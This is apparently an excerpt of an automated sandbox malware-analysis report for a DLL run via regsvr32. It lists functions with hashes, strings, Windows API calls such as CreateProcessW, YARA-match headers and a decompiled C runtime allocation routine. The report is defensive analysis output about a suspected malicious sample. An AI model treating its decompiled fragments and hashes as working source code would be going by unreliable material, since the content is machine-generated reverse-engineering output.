Instruction Fuzzy Hash: 6E72D530618B488BDB29DF19C8856B9B7E1FB98305F10462DE9CFC7211DB34D986CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

z_o^, xrefs: 0000000180005E6A
$E, xrefs: 0000000180005F53
]o-, xrefs: 0000000180006087
&C, xrefs: 0000000180005D95
b , xrefs: 0000000180005CFC

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $E$&C$b $z_o^$]o-
API String ID: 0-182765021
Opcode ID: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction ID: b82cae2a5c5b3167ef3d8ad315f999371e1e8449cd72bf967428ee4211bfb190
Opcode Fuzzy Hash: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction Fuzzy Hash: 5CE1277151468CDFDF88DF28C889ADD3BA1FB483A8F956219FD0A97250D774D888CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000359C Relevance: 6.5, Strings: 5, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k?@`, xrefs: 0000000180003705
s, xrefs: 0000000180003832
8, xrefs: 000000018000367F
?I , xrefs: 00000001800039AB
{>K, xrefs: 0000000180003892

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8$?I $k?@`${>K$s
API String ID: 0-923624899
Opcode ID: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction ID: ebffd08f5432af4d9268e2276ec0df8890e8c351c8fd12e1d0a52c84a5ba0a07
Opcode Fuzzy Hash: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction Fuzzy Hash: F4C1F070519784ABC388DF24C4CA95BBBF1FBD4758F906A1CF9C68A260D774D948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E99C Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`/U, xrefs: 000000018000EF79
\, xrefs: 000000018000F001
,8, xrefs: 000000018000EF6F
&k8, xrefs: 000000018000EB8F

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &k8$,8$\$`/U
API String ID: 0-956392518
Opcode ID: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction ID: eb6f1617cd975c6e10cf27e40abea16f203efbb492656816d2660eb5cb9ff966
Opcode Fuzzy Hash: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction Fuzzy Hash: 7D2215715093C88BDBBECF64C889BDA7BB9FB44708F10561CEA4A9E258DB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025A4C Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

z:7, xrefs: 0000000180025F7D
6"*n, xrefs: 0000000180025E81
US8, xrefs: 0000000180025C24

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6"*n$US8$z:7
API String ID: 0-1851205513
Opcode ID: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction ID: 607295142d9547307d046de48b3748fa472aee76cf77032a28cf9f5936a2d7e5
Opcode Fuzzy Hash: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction Fuzzy Hash: 57E1F9706057889FEBBADF24C88A7DE7BA1FB49744F50422DDC8A8E250DB745648CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020118 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-;, xrefs: 0000000180020142
00, xrefs: 0000000180020267
-;, xrefs: 0000000180020168

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -;$-;$00
API String ID: 0-2539125404
Opcode ID: affc7f65c819fab80511788a3c6ad3e3eeb13df79fc80a7c79ea60dae88b3546
Instruction ID: 193f60ccd2842279d11af0df6a42cb9b90b2b7ab7c379db6368ea7840d008f1f
Opcode Fuzzy Hash: affc7f65c819fab80511788a3c6ad3e3eeb13df79fc80a7c79ea60dae88b3546
Instruction Fuzzy Hash: 28A1377051478CDBDBAADF28C8C9AD93BA1FF48394FA05219FD0287251CB75D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019628 Relevance: 3.1, Strings: 2, Instructions: 565COMMON

Download Yara Rule

Strings

f+hb, xrefs: 0000000180019A9E
zm, xrefs: 0000000180019EC6

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f+hb$zm
API String ID: 0-4294548274
Opcode ID: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction ID: b2f4f577a3df5b024e80de80ecfd692f42b94ed80d4232126a84951cd6e5a716
Opcode Fuzzy Hash: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction Fuzzy Hash: 4852C97050068D8FDF98DF68C8866DA3BA1FB58388F124319FC8AA7291D778D655CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002ACE8 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

#U6, xrefs: 000000018002AE5D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #U6
API String ID: 0-3443268899
Opcode ID: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction ID: 59d24509ec93e958c93c94dd97d6e32fc772fd919bc53da4f0cdd3954875abf9
Opcode Fuzzy Hash: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction Fuzzy Hash: 57510E715087888BC7B8DF28C49A6CBBBF1FF86344F10091DE68987260CB76D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction ID: 1d91a8b9fbbdfe7efb2cec2f51c290a43986955e3ccc02e10ec1e86e5f3f07e0
Opcode Fuzzy Hash: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction Fuzzy Hash: 88F1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92
~, xrefs: 000007FEF9D27EFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84
_setenvp, xrefs: 000007FEF9D27F8B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: _setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-681193798
Opcode ID: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction ID: 6f04160d34b6c1fe028a5367eccc3c8ebf9b699179af2d046024218ded9634d0
Opcode Fuzzy Hash: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction Fuzzy Hash: 14514F31A1DB8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction ID: f3219d0a3466b597a7d077589c81ae53176584dcfccb647f84a4fae4f36a6977
Opcode Fuzzy Hash: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction Fuzzy Hash: B141A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47BA8DBBED4448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction ID: 54e8e70dd377f15c5e8b83e2f7140eab641006b368099d9e1d163193fdf976c7
Opcode Fuzzy Hash: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction Fuzzy Hash: 5A115E30A2D60286F3E0AB25ED4577DA6E1B784B60F215671E9EE422F5DB2FE4048611

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x38
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x42cc
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x32f4
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x2363b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x2363b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction ID: 3c0f980f6ccd09ea8afc11027f8ae4c535623d5f1e7c019e481493293b97b3b1
Opcode Fuzzy Hash: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction Fuzzy Hash: 4B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

